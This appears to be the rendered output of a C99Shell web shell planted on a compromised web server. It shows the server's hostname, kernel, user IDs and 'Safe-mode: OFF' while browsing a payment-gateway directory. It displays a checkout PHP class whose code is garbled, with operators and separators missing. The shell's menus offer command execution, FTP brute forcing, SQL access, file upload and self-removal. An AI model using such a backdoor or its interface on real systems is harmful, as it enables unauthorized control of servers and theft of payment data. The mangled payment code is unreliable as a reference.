!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/init/   drwxr-xr-x
Free 182.62 GB of 490.84 GB (37.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IgfsCgCheckout.php (2.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("IGFS_CG_API/init/BaseIgfsCgInit.php");
require_once(
"IGFS_CG_API/Level3Info.php");

class 
IgfsCgInit extends BaseIgfsCgInit {

    public 
$paymentID;
    public 
$amount;
    public 
$level3Info;

    public 
$redirectURL;

    function 
__construct() {
        
parent::__construct();
    }

    protected function 
resetFields() {
        
parent::resetFields();
        
$this->paymentID NULL;
        
$this->amount NULL;
        
$this->level3Info NULL;

        
$this->redirectURL NULL;
    }

    protected function 
checkFields() {
        
parent::checkFields();
        if (
$this->payInstrToken == NULL || $this->payInstrToken == "") {
            throw new 
IgfsMissingParException("Missing payInstrToken");
        }
        if (
$this->amount == NULL)
            throw new 
IgfsMissingParException("Missing amount");
        if (
$this->level3Info != NULL) {
            
$i 0;
            if (
$this->level3Info->product != NULL) {
                foreach (
$this->level3Info->product as $product) {
                    if (
$product->productCode == NULL)
                        throw new 
IgfsMissingParException("Missing productCode[" "]");
                    if (
$product->productDescription == NULL)
                        throw new 
IgfsMissingParException("Missing productDescription[" "]");
                }
                
$i++;
            }
        }
    }

    protected function 
buildRequest() {
        
$request parent::buildRequest();
        
$request $this->replaceRequest($request"{paymentID}"$this->paymentID);
        
$request $this->replaceRequest($request"{amount}"$this->amount);
        if (
$this->level3Info != NULL)
            
$request $this->replaceRequest($request"{level3Info}"$this->level3Info->toXml());
        else
            
$request $this->replaceRequest($request"{level3Info}""");
        return 
$request;
    }

    protected function 
setRequestSignature($request) {
        
// signature dove il buffer e' cosi composto APIVERSION|TID|SHOPID|PAYMENTID
        
$fields = array(
                
$this->getVersion(), // APIVERSION
                
$this->tid// TID
                
$this->shopID// SHOPID
                
$this->paymentID// PAYMENTID
                
$this->amount); // AMOUNT
        
$signature $this->getSignature($this->kSig// KSIGN
                
$fields); 
        
$request $this->replaceRequest($request"{signature}"$signature);
        return 
$request;
    }

    protected function 
getSoapResponseName() {
        return 
"ns1:CheckoutResponse";
    }

    protected function 
parseResponseMap($response) {
        
parent::parseResponseMap($response);
        
// Opzionale
        
$this->paymentID $response["paymentID"];
        
// Opzionale
        
$this->redirectURL $response["redirectURL"];
    }

    protected function 
getResponseSignature($response) {
        
$fields = array(
                
$response["tid"], // TID
                
$response["shopID"], // SHOPID
                
$response["rc"], // RC
                
$response["errorDesc"],// ERRORDESC
                
$response["paymentID"], // PAYMENTID
                
$response["redirectURL"]);// REDIRECTURL    
        // signature dove il buffer e' cosi composto TID|SHOPID|RC|ERRORDESC|PAYMENTID|REDIRECTURL
        
return $this->getSignature($this->kSig// KSIGN
                
$fields); 
    }
    
    protected function 
getFileName() {
        return 
"IGFS_CG_API/init/IgfsCgCheckout.request";
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.018 ]--